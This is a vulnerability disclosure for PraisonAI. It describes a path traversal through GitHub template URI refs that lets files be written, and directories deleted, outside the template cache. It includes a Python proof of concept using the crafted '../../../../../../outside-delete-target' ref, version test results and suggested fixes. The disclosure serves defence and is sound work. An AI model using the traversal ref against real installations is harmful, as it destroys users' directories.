PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion
PraisonAI's template loader accepts GitHub template URIs with refs, for example
github:owner/repo/template@v1.0.0. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into
~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.572f9677abb2ea68eab864ee8b6a828fd0141612e1Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:
.cache_meta.json outside the template cache directory;Current-head code path:
praisonai/templates/resolver.py: GITHUB_PATTERN captures path and ref
with broad regex groups and returns them without segment validation.praisonai/templates/security.py: is_source_allowed() allows GitHub sources
by default when allow_any_github is true.praisonai/templates/registry.py: get_template() resolves a GitHub URI,
fetches the template, calculates a checksum, then calls self.cache.put(...).praisonai/templates/cache.py: _get_cache_path() builds the cache path as
self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py: put() removes an existing cache_path with
shutil.rmtree(cache_path), recreates it, copies content, and writes
.cache_meta.json.There is no check equivalent to:
. / .. in owner, repo, template path, or ref;os.path.commonpath([cache_root, candidate]) == cache_root.Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Validate every cache path segment before joining:
/ and reject empty, ., .., and absolute forms;/, path separators, empty segments, ., .., and absolute
forms, or encode/hash the ref before using it in a filesystem path.Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 81.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 81.00 |
VPI 공식 vpi-v1 기준